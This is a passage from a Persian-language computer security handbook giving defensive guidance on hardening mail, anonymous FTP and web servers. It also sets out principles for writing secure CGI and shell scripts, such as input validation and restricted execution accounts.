کار مبتنی بر sendmail شوند.

سرویس‌دهنده‌های پستی مبتنی بر Windows می‌توانند از نرم‌افزارهایی مثل imail یا سرویس‌دهندهٔ Microsoft Exchange بعنوان MTA استفاده کنند. نرم‌افزارهای تحت Windows تا به امروز نتوانسته‌اند در پیاده‌سازی استانداردهای اینترنتی چندان موفق باشند و امنیت آنها نیز تا کنون در سطح متوسط بوده است.

هرزنامه

نامه‌های الکترونیکی ناخواستهٔ تجاری (که عموماً هرزنامه خوانده می‌شوند) به یک مسئله دردسرساز و پرهزینه تبدیل شده‌اند. هنگام ارائه خدمات پست الکترونیکی، بسیار حیاتی است که بتوانید مطمئن شوید نه افراد خارجی و نه کاربران مجاز داخلی با استفاده از سیستم پست الکترونیکی شما قادر به ارسال هرزنامه نیستند.

اگر از یک نسخهٔ به‌روز نرم‌افزار مورد استفاده بعنوان MTA استفاده می‌کنید، کنترل دسترسی افراد خارجی به خدمات پست الکترونیکی نسبتاً آسان خواهد بود. درحال حاضر بیشتر نرم‌افزارهای MTA با تنظیمات خاصی به فروش می‌رسند تا پیامها را تنها درصورتی منتشر کنند که گیرندهٔ آنها یک ماشین داخلی باشد و یا از یک رایانهٔ قابل اعتماد فرستاده شده باشند. منظور از "رایانهٔ قابل اعتماد" دستگاهی است که دارای یک آدرس IP خاص می‌باشد (البته این نشان تنها درحالتی معتبر است که دستگاه مذکور داخل یک محیط حفاظت‌شده بوسیلهٔ یک "دیوارهٔ آتش" قرار داشته باشد و در آن محیط از گمراه‌سازی IP نیز جلوگیری شود)، و یا دستگاهی که می‌تواند با استفاده از رمزنگاری، خود را برای سرویس‌دهنده، تصدیق هویت کند.

تصدیق هویت با استفاده از رمزنگاری معمولاً برای سرویس‌گیرنده‌های پستی که روی رایانه‌های کیفی و سایر دستگاههایی که آدرسهای IP خود را بصورت پویا دریافت می‌کنند کاربرد دارد. یک روش پرکاربرد برای این منظور استفاده از پروتکل SMTP AUTH است، که در واقع تکامل‌یافتهٔ پروتکل SMTP می‌باشد و با استفاده از مکانیزمهای "تصدیق هویت ساده" و "لایهٔ امنیت" که در RFC شمارهٔ ۲۲۲۲ شرح داده شده، امکان تصدیق هویت را بوجود می‌آورد. راهکار دیگر آن است که برای سرویس‌گیرنده‌ها گواهینامهٔ TLS صادر شود و برای تصدیق هویت آنها نیز پروتکل STARTTLS بکار رود.[۲۰۸]

---

207 *Mail Transfer Agent*

۲۰۸ *روش معمولتر که البته ایمنی کمتری دارد استفاده از روش POP-before-SMTP است. در این روش ابتدا سرویس‌گیرنده‌ها باید پست الکترونیکی خود را از طریق POP که آدرسهای IP آنها را ثبت می‌کند کنترل نمایند. سپس سرویس‌دهندهٔ SMTP برای یک بازهٔ کوتاه زمانی استفاده از آدرسهای IP ثبت‌شده را مجاز می‌داند. هرچند این روش می‌تواند باعث رضایتمندی شود، اما امنیت کمتری دارد، مگر اینکه اتصالات POP هم رمزگذاری شوند.*

کسانی که درون شبکهٔ شما قرار دارند و هرزنامه می‌فرستند می‌توانند پهنای باند شبکهٔ سازمان را اشغال کنند و بسرعت اعتبار شما را خدشه‌دار نمایند، و بدتر از همه باعث شوند علیه شما اقدامات قانونی صورت بگیرد.[۲۰۹] یک روش مناسب برای نظارت بر هرزنامه‌هایی که بوسیلهٔ افراد داخلی شبکه فرستاده می‌شوند این است که آندسته از نامه‌های الکترونیکی که مقاصدی خارج از شبکه دارند تنها بتوانند از طریق سرویس‌دهنده‌هایی ارسال شوند که شما بر آنها نظارت دائمی دارید. یک راه عملی برای این منظور آن است که تمام ارتباطات بیرون‌رونده از پورت TCP 25 (پورت سرویس SMTP) را در دیوارهٔ آتش مسدود کنید و تنها به سرویس‌دهنده‌های پستی اجازه دهید چنین ارتباطاتی را برقرار کنند.

محرمانگی و صحت

بیشتر نرم‌افزارهای MTA می‌توانند بگونه‌ای پیکربندی شوند که ارتباطات رمزگذاری‌شدهٔ TLS را مجاز یا اجباری کنند. پروتکل SMTP بگونه‌ای گسترش یافته که یک عملیات STARTLS – آغازگر گفتگوی TLS – را در بر بگیرد. استفاده از TLS مؤکداً پیشنهاد می‌شود، چراکه هم از محرمانگی و هم از صحت پیامها محافظت می‌کند، و همچنین اطمینان می‌دهد که سرویس‌گیرنده نیز به سرویس‌دهندهٔ صحیح متصل است.

بصورت مشابه، اگر به کاربرانتان سرویس POP یا IMAP ارائه می‌دهید، بیشتر مشتریان فعلی‌تان می‌توانند با سرویس‌دهنده‌های شما اتصالات رمزنگاری‌شدهٔ SSL/TLS برقرار کنند؛ البته به شرطی که سرویس‌دهنده را بگونه‌ای پیکربندی کرده باشید که این اتصالات را بپذیرد و یا آنها را برای برقراری ارتباط لازم بداند. از آنجا که این پروتکلها بصورت پیش‌فرض، رمزهای عبور را بدون رمزنگاری انتقال می‌دهند، الزامی کردن اتصالات SSL/TLS باعث پدید آمدن سطح حفاظتی زیادی برای کاربران و همینطور پیامهای آنان می‌شود.[۲۱۰]

یک جایگزین دیگر برای سرویس رمزنگاری‌نشدهٔ POP یا IMAP آن است که با استفاده از یک سیستم پست الکترونیکی مبتنی بر وب، از طریق مرورگر وب امکان دسترسی کاربران به صندوق پستی‌شان را فراهم کنیم. یک مزیت مهم استفاده از webmail این است که سرویس‌دهندهٔ وب می‌تواند بوسیلهٔ SSL/TLS ایمن شود، و بدین ترتیب همهٔ مرورگرهای وب خواهند توانست از یک اتصال امن بهره ببرند.

تأمین امنیت سرویس‌دهنده‌های FTP ناشناس

استفاده از پروتکل FTP دردسرهای مختلفی را برای راهبران سیستم بوجود می‌آورد. تعداد این دردسرها آنچنان است که طبق الگوهای سرآمدی امروز، بهتر است اصلاً در شبکه سرویس‌دهندهٔ FTP وجود نداشته باشد، و درعوض کاربران خارجی بتوانند فایلها را از طریق یک سرویس‌دهندهٔ وب دریافت کنند و کاربران داخلی نیز فایلها را با استفاده از scp و sftp (بخشی از مجموعهٔ SSH) و یا SSL ایمن‌شدهٔ Web-DAV منتقل کنند.

اگر بنا است یک *سرویس‌دهندهٔ FTP ناشناس*[۲۱۱] راه‌اندازی کنید تا کاربران خارجی بتوانند فایلها را download و upload کنند، این خطمشی‌ها را مد نظر قرار دهید:

- با دقت مستندات سرویس‌دهندهٔ FTP خود را مطالعه کنید تا بتوانید بدرستی محدودهٔ فایلهای ناشناس را تنظیم کنید تا کاربران بتوانند تنها از شاخه‌هایی که شما مشخص نموده‌اید فایل download کنند و در آن شاخه‌ها قادر به حذف فایلها تعویض نام فایلها، و یا تغییر ساختار شاخه‌ها نباشند؛

---

۲۰۹ *درحقیقت حجم بالای ارسال هرزنامه‌ها از کشورهایی که ضوابط قانونی ناکارآمدی در این زمینه دارند آنچنان به اعتبار ملی آن کشورها ضربه زده که بسیاری از راهبران سرویس‌دهنده‌های پستی بعضاً از پذیرفتن هر نامهٔ اکترونیکی که از این کشورها ارسال شده باشد سر باز می‌زنند.*

۲۱۰ *هم POP و هم IMAP از مکانیزمهای تصدیق هویتی که رمزهای عبور رمزگذاری‌نشده را روی شبکه منتقل نمی‌کنند پشتیبانی می‌کنند، اما فعال‌کردن آنها بیش از SSL/TLS زحمت دارد، و همچنین محرمانگی و کنترل صحت رمزگذاری پیام را تأمین نمی‌کنند.*

211 *Anonymous FTP Server*

- از ارائه برنامه‌ها بصورت فایلهای قابل اجرا مثل فایلهای فشرده‌شده و یا برنامه‌های آرشیوی که ممکن است آسیب‌پذیریهای قابل بهره‌برداری داشته باشند احتراز نمایید. روی ماشینهای Unix، اگر خود سرویس‌دهندهٔ FTP قابلیت نمایش شاخه‌ها را دارد، حتی به فایل ls نیز اجازهٔ اجرا ندهید؛
- اگر سرویس‌دهندهٔ FTP شما برای انطباق uid مالکان فایلها با نامهای کاربری از یک فایل رمز عبور استفاده می‌کند، برای اینکار از فایل رمز عبور اصلی سرویس‌دهنده استفاده نکنید، بلکه یک فایل ثانویه درست کنید و تنها اطلاعات نه‌چندان مهم را در آن قرار دهید (یا اصلاً از فایل رمز عبور استفاده نکنید و اجازه دهید سرویس‌گیرنده‌ها بتوانند uidها را ببینند)؛ و
- اگر اجازهٔ upload فایلها را می‌دهید، این اجازه را به شاخه‌هایی مجزا از شاخه‌هایی که از آنها download هم انجام می‌شود بدهید و مطمئن شوید که کاربران قادر به download کردن فایلهای uploadشده نیستند. به این ترتیب شما راه استفادهٔ ناصحیح از ترافیک پایگاه FTP خود برای download نرم‌افزارهای مسروقه را مسدود کرده‌اید. همچنین باید مطمئن شوید امکان آن وجود ندارد که فایلهای uploadشده کاراکترهای خاصی در نام خود داشته باشند، و همچنین فضایی که upload در آن انجام می‌شود در یک partition مجزا قرار دارد و پر شدن آن آسیبی به سایر خدمات نمی‌زند. به این ترتیب از محو و حذف شدن این فایلها در یک تهاجم اطلاعاتی جلوگیری خواهد شد.

توصیه می‌شود بطور کلی *سرویس FTP غیرناشناس*[۲۱۲] ارائه ندهید، مگر اینکه بتوانید آنرا از طریق یک تونل VPN و یا یک پوشش رمزنگاری مانند SafeTP (http://safetp.cs.berkley.edu) محافظت کنید.

تأمین امنیت سرویس‌دهنده‌های وب

در ارائه سرویس صفحات وب، قواعد عمومی امنیت سرویس‌دهنده‌ها بکار می‌آیند. سیستم‌عامل و برنامهٔ سرویس‌دهندهٔ وبی انتخاب کنید که با نگاه خاص به مقولهٔ امنیت طراحی شده‌اند و از سابقهٔ امنیتی خوبی نیز برخوردار هستند. با دقت مستندات سرویس‌دهندهٔ وب را مطالعه کنید، خصوصاً قسمتهایی از آنرا که مربوط به مباحث امنیتی می‌شود. از ورود کاربران "guest" به سیستم جلوگیری کنید و کاربرانی که مجاز به استفاده از سرویس‌دهندهٔ وب هستند را به همان کسانی که لازم است از آن استفاده کنند محدود نمایید. امکان ورود حساب کاربری administrator از طریق شبکه را غیرفعال کنید. در یک سیستم Windows، اگر مجبور هستید سرویس‌دهنده را از راه دور راهبری نمایید، نام حساب کاربری administrator را به نام دیگری تغییر دهید که حدس‌زدن آن دشوارتر باشد. روی یک سیستم Unix نیز امکان ورود حساب کاربری root را بکلی غیرفعال کنید و کاربران را ملزم نمایید که برای دسترسی به امکانات راهبری سیستم، فرمان su را مورد استفاده قرار دهند.

در هرصورت راه‌اندازی سرویس‌دهنده‌های وب، نگرانیهای امنیتی خاص خود را دارد که مهمترین آنها عبارتند از حفظ محرمانگی اطلاعات، صحت قطعه‌برنامه‌های سمت سرویس‌دهنده، و به‌روزرسانی محتوا.

محرمانگی اطلاعات

اگر قرار است اطلاعات حساسی را انتقال دهید، یک گواهی SSL دریافت کنید و سرویس‌دهندهٔ وبی را مورد استفاده قرار دهید که قابلیت SSL داشته باشد (هم Apache و هم IIS می‌توانند بگونه‌ای پیکربندی شوند که از SSL استفاده کنند). اگر می‌خواهید یک interanet طراحی کنید (یا یک internet که به سرویس‌گیرنده‌های کارمندانتان محدود می‌شود)، می‌توانید از یک گواهی SSL استفاده کنید که توسط خودتان به امضا رسیده، و یا اینکه اصلاً یک روش مخصوص به خود برای اینکار بوجود آورید. در غیراینصورت قاعدتاً مجبور خواهید بود گواهی SSL را از مراکز معتبر صدور گواهی مثل VeriSign – که گواهی‌های امضاشدهٔ آن در بیشتر مرورگرهای معروف وب وجود دارد – بخرید. برای اطلاعات بیشتر در مورد گواهی‌های SSL می‌توانید به فصل چهارم از همین بخش رجوع نمایید.

---

212 Non-Anonymous FTP Service

اگر از SSL استفاده نمی‌کنید، تمام انتقالات HTTP – شامل نامهای کاربری و رمزهای عبور که در تصدیق هویت ابتدایی HTTP و یا هر نوع فرمی که سرویس‌گیرنده آنرا منتقل می‌کند – بصورت رمزگذاری‌نشده انجام می‌شوند. در بیشتر موارد اگر بخواهید کاربر را تصدیق هویت کنید، چاره‌ای ندارید جز اینکه SSL را پیاده‌سازی نمایید تا از داده‌های انتقالی حفاظت بعمل آورده باشید.

قطعه‌برنامه‌های سمت سرویس‌دهنده

سرویس‌دهنده‌های وب، برنامه‌های مناسبی برای نمایش اطلاعات ثابت مانند بروشورها، پاسخ به پرسشهای متداول، و کاتالوگ‌های محصولات بودند، اما برای برنامه‌هایی که برای هر کاربر بصورت اختصاصی تنظیماتی داشتند و یا برنامه‌هایی که قرار بود به نوعی در تجارت الکترونیکی مورد استفاده قرار بگیرند (مثل کارتهای خرید)، لازم بود که قابلیتهای سرویس‌دهنده‌های وب بگونه‌ای توسعه پیدا کنند که بتوانند دستورات اختصاصی را برای هر تقاضای نمایش صفحه، یکبار به اجرا در آورد. درحال حاضر این دستورات معمولاً بصورت قطعه‌برنامه‌ها و یا برنامه‌هایی هستند که وقتی یک URL مورد دسترسی قرار می‌گیرد به اجرا در می‌آیند. هیچ محدودیتی روی توانایی یک گروه قوی برنامه‌نویسی در کار با یک سرویس‌دهندهٔ وب وجود ندارد. متأسفانه برنامه‌هایی که قابلیتهای سرویس‌دهنده‌های وب را افزایش می‌دهند، می‌توانند حاوی نقایصی باشند که به مهاجمان اجازه دهد به سوء استفاده از رایانه‌ای که سرویس‌دهندهٔ وب روی آن درحال اجرا است بپردازند. بدتر از همه اینکه اگر برنامه به همان صورت که انتظار آن می‌رود عمل کند، این نقایص بندرت می‌توانند مورد شناسایی قرار گیرند.

برای تهیهٔ برنامه‌های کاربردی سمت سرویس‌دهنده، چهار تکنیک اصلی وجود دارد:

CGI

CGI[۲۱۳] اولین ابزار گسترش سرویس‌دهنده‌های وب بود. زمانیکه یک URL مربوط به یک برنامهٔ CGI به سرویس‌دهندهٔ وب فرستاده شود، سرویس‌دهنده برنامهٔ CGI مذکور را در یک پردازهٔ مجزا اجرا می‌نماید، خروجی برنامه را دریافت می‌کند، و نتایج درخواست‌شده را به مرورگر وبی که آنرا درخواست کرده بود می‌فرستد. آرگومانهای برنامه‌های CGI بعنوان متغیرهای محیطی کدگذاری می‌شوند و مثل ورودی‌های استاندارد برنامه‌ها عمل می‌کنند.

برنامه‌های CGI می‌توانند queryهای پایگاه داده به اجرا درآورند و نتایج آنرا نمایش دهند، افراد را قادر کنند که محاسبات پیچیدهٔ مالی انجام دهند، و به کاربران امکان دهند که با سایر کاربران در محیط اینترنت به گفتگو بپردازند. در واقع باید گفت که هر قابلیت نوآورانهٔ شبکهٔ جهانی وب – از موتورهای جستجو گرفته تا صفحات وبی که اجازهٔ ردیابی بسته‌ها را می‌دهند – در ابتدا با استفاده از برنامه‌های CGI بوجود آمده بودند.

Plug-inها، Moduleهای قابل بارگذاری،[۲۱۴] و واسطهای برنامه‌ای (APIها)[۲۱۵]

دومین تکنیکی که برای توسعهٔ سرویس‌دهنده‌های وب از آن استفاده شد اضافه کردن moduleهایی بود که معمولاً به زبانهای C یا C++ نوشته شده بودند. این moduleها در زمان اجرا روی سرویس‌دهندهٔ وب بارگذاری می‌شوند. Plug-inها، moduleها، و APIها راه سریع‌تری برای برقراری ارتباط میان برنامه‌های اختصاصی و سرویس‌دهنده‌های وب هستند، چون درصورت استفاده از آنها نیازی نیست که به ازای هر تعامل وب یک پردازهٔ جدید شروع شود و درعوض خود پردازهٔ سرویس‌دهندهٔ وب، برنامه‌های کاربردی را در فضای آدرسِ خود آن برنامه به اجرا در می‌آورد. اما این تکنیکها یک نقص بارز دارند: برنامهٔ plug-in ممکن است بسیار پیچیده باشد، و وجود تنها یک اشکال در آن می‌تواند سبب از کار افتادن کل سرویس‌دهندهٔ وب گردد.

213 Common Gateway Interface
214 Loadable Modules
215 Application Programming Interfaces

زبانهای قطعه‌برنامه‌ای از پیش تعبیه‌شده[۲۱۶]

ابداع زبانهای قطعه‌برنامه‌ای مبتنی بر وب سومین تکنیکی بود که بمنظور افزودن قابلیتهای برنامه‌ای به صفحات وب مورد استفاده قرار گرفت. این سیستمها توسعه‌دهندگان را قادر می‌کنند که بتوانند برنامه‌های کوچکی – که معمولاً قطعه‌برنامه نامیده می‌شوند – را مستقیماً در صفحهٔ وب قرار دهند، و سپس یک مفسر درونی در سرویس‌دهندهٔ وب، برنامه‌های موجود در صفحات وب را پیش از فرستادن صفحهٔ مزبور برای مرورگر وب اجرا می‌کند. این قطعه‌برنامه‌ها می‌توانند بسیار سریع باشند. مثالهایی در این زمینه عبارتند از ASP شرکت مایکروسافت، PHP، JavaScript سمت سرویس‌دهنده، و mod-perl.

سرویس‌دهندهٔ وبِ از پیش تعبیه‌شده[۲۱۷]

بالاخره اینکه برخی سیستمها بطور کل با برنامهٔ سرویس‌دهندهٔ وب کاری ندارند و سرویس‌دهندهٔ اختصاصی HTTP خود را روی برنامه‌های مبتنی بر وبِ خود به اجرا در می‌آورند.

تکنیکهایی که در اینجا بر شمردیم بدلیل توانمندیهایی که دارند، می‌توانند امنیت سرویس‌دهندهٔ وب و میزبانی که این سرویس‌دهنده روی آن اجرا می‌شود را به مخاطرهٔ جدی بیاندازند؛ چون بصورت بالقوه هر برنامه‌ای می‌تواند از طریق این واسطه‌ها به اجرا در آید – حتی برنامه‌هایی که مشکلات امنیتی دارند، برنامه‌هایی که به افراد بیرونی اجازهٔ دسترسی به رایانهٔ شما را می‌دهند، و یا برنامه‌هایی که فایلهای حیاتی سیستم شما را تغییر داده و یا حذف می‌کنند.

با استفاده از دو تکنیک می‌توان خسارتهای ناشی از برنامه‌های کاربردی وب را محدود کرد:

- برنامه‌ها باید چنان طراحی شوند و مورد بازبینی قرار گیرند که اطمینان حاصل شود بجز اعمال مورد نظر نمی‌توانند کار دیگری انجام دهند؛
- برنامه‌ها باید در یک محیط محدودشده به اجرا درآیند. در اینصورت اگر برنامه‌ها توسط یک مهاجم مورد سوء استفاده قرار بگیرند تا یک عملکرد پیش‌بینی‌نشده از خود بروز دهند، خسارتهای وارده نیز محدود خواهد بود.

در سیستم‌عاملهای چندکاربره که کاربران متفاوت می‌توانند در سطوح متفاوت دسترسی به اجرای برنامه‌ها بپردازند، سرویس‌دهنده‌های وب معمولاً تحت یک حساب کاربری محدودشده به اجرا در می‌آیند، مثل حساب کاربری nobody و یا httpd. در اینصورت همهٔ برنامه‌ها از جمله آندسته از برنامه‌های CGI و API که به قصد ایجاد اخلال در سیستم مورد سوء استفاده قرار می‌گیرند نیز تحت همان حساب کاربریِ محدودشده به اجرا در خواهند آمد.[۲۱۸]

متأسفانه سایر سیستم‌عاملها چنین قابلیتی برای استفاده از حسابهای کاربریِ محدودشده ایجاد نکرده‌اند. بعنوان مثال در نگارشهای 3.1، 95، 98، و ME از سیستم‌عامل Windows و نیز سیستم‌عامل Mac OS 7-9 که پیش از Mac OS X کاربرد داشت، برای سیستم‌عامل راه ساده‌ای وجود نداشت که بخواهد از طریق آن دسترسی برنامه‌های CGI را محدود کند.

برنامه‌هایی که نباید به CGI نوشته شوند

مفسرها، پوسته‌ها، موتورهای قطعه‌برنامه‌ها، و سایر برنامه‌های قابل توسعه هرگز نباید در یک شاخهٔ متعلق به برنامه‌های CGI (مثل cgi-bin) وجود داشته باشند، و از آن گذشته اگر احتمال رسیدن درخواستهایی به پردازهٔ سرویس‌دهندهٔ وبِ یک رایانهٔ میزبان وجود داشته باشد، برنامه‌های پیش‌گفته بطور کلی نباید در هیچ قسمتی از سیستم فایل آن موجود باشند؛ و در غیراینصورت مهاجمان قادر خواهند بود که با استفاده از این برنامه‌ها هر برنامهٔ دلخواه خود را روی آن رایانه به اجرا درآورند.

---

216 *Embedded Scripting Language*
217 *Embedded Web-server*
۲۱۸ *در یک محیط چندکاربری، مثلاً یک سرویس‌دهندهٔ وب در یک ISP یا یک دانشگاه، معمول است که قطعه‌برنامه‌های CGI بگونه‌ای به اجرا در آیند که بجای دسترسی به امتیازات سرویس‌دهندهٔ وب، با امتیازات دسترسی برنامه‌نویس خود به اجرا درآیند.*

کسب آگاهی در مورد صحیح یا ناصحیح بودن پیکربندی یک رایانه به خودیِ خود کار ساده‌ای نیست، اما چیزی که مشکلات را پیچیده‌تر می‌کند این است که برخی جستجوگرها وجود دارند که می‌توانند بصورت خودکار، رایانه‌های آسیب‌پذیر را پیدا کنند. بعنوان مثال در سیستمهای مبتنی بر Windows، برنامهٔ اجرایی perl (PERL.EXE) هیچگاه نباید در شاخهٔ قطعه‌برنامه‌های CGI قرار بگیرد، اما متأسفانه بسیاری از سرویس‌دهندهای وب تحت Windows به همین صورت پیکربندی شده‌اند، تنها به این دلیل که انجام اینکار باعث می‌شود اجرای قطعه‌برنامه‌های perl روی سرویس‌دهنده ساده‌تر شود.

یک عامل دیگر نگرانی، برنامه‌ها یا قطعه‌برنامه‌هایی هستند که پیشتر برای استفاده در سرویس‌دهنده‌های وب منتشر شده‌اند و بعدها در آنها آسیب‌پذیریهای امنیتی آشکار شده است. از آنجا که راهبران سرویس‌دهنده‌های وب، بندرت برنامه‌هایی که در پیکربندی پیش‌فرضِ سرویس‌دهنده وجود دارد را حذف می‌کنند (زیرا بسیار دشوار است که بتوان فهمید یک قطعه‌برنامه مورد استفاده قرار دارد یا خیر)، ممکن است این برنامه‌ها و قطعه‌برنامه‌های خطرناک تا ماهها و یا حتی سالها بر جای خود باقی بمانند، حتی اگر آن نقص در نسخه‌های جدیدتر سرویس‌دهندهٔ وب مرتفع شده باشد.

برای اینکه در برابر برنامه‌ها، قطعه‌برنامه‌ها، و برنامه‌های CGI که ممکن است نقایص امنیتی‌شان بعد از مدتی آشکار شوند از خودتان محافظت کنید، همهٔ برنامه‌هایی که بصورت پیش‌فرض روی سرویس‌دهندهٔ وب نصب شده‌اند را به یک شاخهٔ جدید منتقل کنید تا همچنان بتوانند مورد دسترسی قرار گیرند، و تنها زمانی آنها را به شاخه‌های کاری بازگردانید که واقعاً مورد نیاز باشند.

آثار جانبی ناخواسته

مشکلات امنیتی قطعه‌برنامه‌ها ممکن است سالها پیش از اینکه مورد سوء استفاده قرار گیرند، بصورت نادانسته وجود داشته باشند. گاهی اوقات ممکن است این حفره‌های امنیتی مخفی، توسط برنامه‌نویسی که قطعه‌برنامه را نوشته و از روی عمد ایجاد شده باشد – مثل نوعی درب مخفی که برنامه‌نویس را قادر می‌کند در آینده بتواند به برنامه‌های دسترسی پیدا کند. در سایر موارد حفره‌های امنیتی کشف‌شده ناشی از آثار جانبی ناخواستهٔ قطعه‌برنامه هستند.

اگر به صحت داده‌های ورودی که از خارج برنامه‌ها و بوسیلهٔ یک کاربر وب وارد فرمهای وب، متغیرهای محیطی، cookieهای فرمها، یا هرجای دیگر می‌شوند تکیه نکنیم، معمولاً می‌توان از آثار جانبی ناخواستهٔ قطعه‌برنامه‌ها جلوگیری کرد. هر ورودی از دنیای خارج باید مورد بررسی قرار گیرد تا اطمینان حاصل شود که از کاراکترهای صحیح تشکیل شده و نیز بامعنا است.

باید صافی‌هایی طراحی شوند که بتوانند کاراکترهای قابل قبول را تشخیص داده و بپذیرند و مابقی را رد کنند، نه اینکه یک فهرست از کاراکترهای غیرقابل قبول برای نپذیرفتن داشته باشند و همهٔ ورودیهای دیگر را برای پذیرفتن تأیید نمایند. روش اول بسیار ایمن‌تر است، چراکه پیش‌بینی همهٔ کاراکترهای ناصحیح دشوار می‌باشد؛ خصوصاً با توجه به این نکته که برخی کاراکترها که امروزه ناصحیح نیستند ممکن است در آینده کاراکترهای ناصحیح محسوب شوند! بعنوان مثال در بسیاری از برنامه‌های قدیمی، وجود علائم Unicode که امروزه کاربرد فراوانی یافته‌اند پیش‌بینی نشده بود.

برای مشاهدهٔ مثالهای بیشتر از آثار جانبی ناخواسته، می‌توانید رجوع کنید به فصل شانزدهم از ویرایش دوم کتاب "Web Security, Privacy, and Commerce" نوشتهٔ *گارفینکل*[۲۱۹].

اصول عمومی در نگارش قطعه‌برنامه‌های پوسته‌های ایمن

اصول زیر، الگوهای سرآمدیِ حال حاضر در نگارش قطعه‌برنامه‌های پوسته را بیان می‌کنند:

۱. پیش از شروع برنامه‌نویسی، ابتدا برنامه را به دقت طراحی نمایید. مطمئن شوید همهٔ زوایای برنامه‌ای که می‌خواهید بنویسید را بدرستی فهمیده‌اید. بستری که برنامه قرار است روی آن اجرا شود، رفتار برنامه در قبال ورودیهای مختلف، فایلهای مورد

219 Garfinkel

استفاده، آرگومانهای مورد نظر، علائم دریافت‌شونده، و سایر جنبه‌های رفتاری را به دقت مورد ملاحظه قرار دهید. فهرستی از همهٔ خطاهای احتمالی و نیز نحوهٔ واکنش برنامهٔ خود به آن خطاها تهیه کنید. حتی می‌توانید پیش از نوشتن برنامه به زبان رایانه، قسمتهای مختلف برنامه را به زبان انگلیسی و یا زبان مادری خود شرح دهید.

۲. پیش از شروع برنامه‌نویسی، مشخصه‌هایی که در مورد برنامه نوشته‌اید را به رؤیت یک برنامه‌نویس دیگر برسانید. مطمئن شوید که آنها نیز مشخصه‌ها را می‌فهمند و معتقدند عملکرد صحیحی دارد. اگر نتوانستید یک برنامه‌نویس دیگر را نسبت به صحت عملکرد آنچه روی کاغذ طراحی کرده‌اید راضی کنید، باید مجدداً به فاز طراحی بازگشته و مشخصه‌های برنامه را واضحتر کنید. مطمئن باشید چند برابر زمانی که برای اینکار صرف می‌کنید، هنگام برنامه‌نویسی صرفه‌جویی خواهد شد.

۳. برای نوشتن قطعه‌برنامهٔ مورد نظر خود زبانی انتخاب کنید که قابلیتهای ایمنی را برای قطعه‌برنامه‌های CGI فراهم کند، و از خطاهای سرریزی buffer جلوگیری نماید. زبانهای perl، python، و rudy در این زمینه گزینه‌های مناسب و زبانهای C و C++ معمولاً گزینه‌های ضعیف به شمار می‌روند. هیچگاه برای مفسرهای پوسته‌ای مثل /bin/sh، قطعه‌برنامه‌های CGI ننویسید.

۴. اگر امکان آن وجود دارد از قطعه‌برنامه‌های قبلی استفادهٔ مجدد کنید. هنگامیکه می‌توانید از فایلهای کتابخانه‌ای رفع‌اشکال‌شدهٔ CGI استفاده کنید لزومی ندارد یک فایل کتابخانه‌ای مخصوص خود بنویسید، اما در عین حال مراقب استفادهٔ مجدد از قطعه‌برنامه‌های حاوی اسبهای تراوا نیز باشید.

۵. بعد از نوشتن هر قسمت کوچک از قطعه‌برنامه به آزمایش آن بپردازید. وقتی نوشتن قطعه‌برنامه را شروع کردید متناوباً آنرا آزمایش نمایید. برای آزمایش قسمت مورد نظر به یاد داشته باشید که باید هم از داده‌های ورودی مورد انتظار و هم از داده‌های ورودی غیرمنتظره استفاده کنید. چنانچه امکان آن وجود داشته باشد توابع برنامه باید پیش از پذیرفتن آرگومانهای ورودی، صحت و اعتبار آنها را تأیید کنند و در مواجهه با آرگومانهای نادرست، واکنشهای منطقی (مثل خروج از برنامه و نمایش یک پیام یا کد مبنی بر ناصحیح بودن آرگومان) از خود نشان دهند. تعداد زیادی از آسیب‌پذیریهای امنیتی، اشکالات سادهٔ برنامه‌ای هستند که می‌توان از آنها بهره‌برداری سوء کرد. با نوشتن دقیقتر متن برنامه‌ها، برنامه‌ای که تولید می‌کنید از ایمنی بیشتری برخوردار خواهد شد.

۶. تمامی مقادیر ورودی ارائه‌شده توسط کاربر را مورد بررسی قرار دهید. تعداد قابل توجهی از مشکلات امنیتی از آنجا ناشی می‌شوند که مهاجم یک مقدار ورودی غیرمنتظره و یا یک قالب داده‌ای پیش‌بینی‌نشده را به یک تابع برنامه ارسال می‌کند. یک راه ساده برای پیشگیری از بروز چنین مشکلاتی این است که قطعه‌برنامه‌ها همواره آرگومانهای ورودی خود را از نظر صحت و اعتبار، بررسی کنند. کنترل آرگومانها چندان موجب کاهش سرعت این قطعه‌برنامه‌ها نمی‌شود، بلکه باعث می‌شود کاربران متخاصم کمتر بتوانند از آنها استفادهٔ سوء نمایند. علاوه بر این، کنترل آرگومانها و گزارش خرابیها سبب آن است که فرآیند اصلاح اشکلات غیرامنیتیِ نرم‌افزار نیز ساده‌تر گردد.

۷. آرگومانهایی که برنامه به توابع سیستم‌عامل می‌فرستد را کنترل نمایید. حتی اگر برنامه یک تابع سیستمی را فراخوانی می‌کند، باز هم شما باید آرگومانها را مورد بررسی قرار دهید تا مطمئن شوید همانهایی هستند که آن تابع سیستمی انتظار آنرا دارد. مثلاً اگر فکر می‌کنید که برنامهٔ شما یک فایل را در شاخهٔ جاری باز می‌کند، می‌توانید از تابع *index()* در زبان C یا perl استفاده کنید تا ببینید که آیا در نام فایل علامت ممیز (/) وجود دارد یا نه، و اگر نام فایل دارای علامت ممیز است و نباید اینطور باشد، برنامه نباید آن فایل را باز کند.

۸. همهٔ خروجیهای فراخوانیهای سیستم را کنترل کنید. برنامهٔ POSIX (که توسط برنامه‌های نوشته‌شده به زبانهای C و PERL مورد استفاده قرار می‌گیرد) هر فراخوانی سیستم را ملزم می‌کند که یک کد خروجی داشته باشد. حتی فراخوانیهای سیستمی که شما احتمال خراب شدن آنها را نمی‌دهید – مثل *write()*، *chdir()*، و یا *chown()* – ممکن است تحت شرایط استثنایی بدرستی عمل نکنند و خروجیهای غیراستانداردی تولید کنند. زمانیکه یک فراخوانی نتوانست درست عمل کند، متغیر

شمارهٔ خطا[۲۲۰] را بررسی کنید تا دلیل وقوع اشکال را بفهمید. برنامهٔ خود را طوری بنویسید که بتواند مقادیر غیرقابل انتظار را ثبت کند و سپس چنانچه یک فراخوانی سیستم به هر دلیل غیرمنتظره‌ای با شکست مواجه شد، با اطمینان به پردازهٔ آن پایان دهد. انجام این اقدامات به کم شدن اشکالات برنامه‌ای و مشکلات امنیتیِ آینده کمک شایانی می‌کند.

۹. یک نرم‌افزار داخلی برای کنترل یکپارچگی و صحت داشته باشید. اگر قرار است یک متغیر برنامهٔ شما تنها بتواند مقادیر ۱، ۲، و یا ۳ را بگیرد، آن متغیر را برای این مقادیر بررسی کنید، و برای حالتی که مقادیری غیر از اینها دارد پیش‌بینی‌های لازم را بعمل آورید. (اگر با زبان C برنامه‌نویسی می‌کنید، با استفاده از ماکروی *assert* بسادگی می‌توانید اینکار را انجام دهید.)

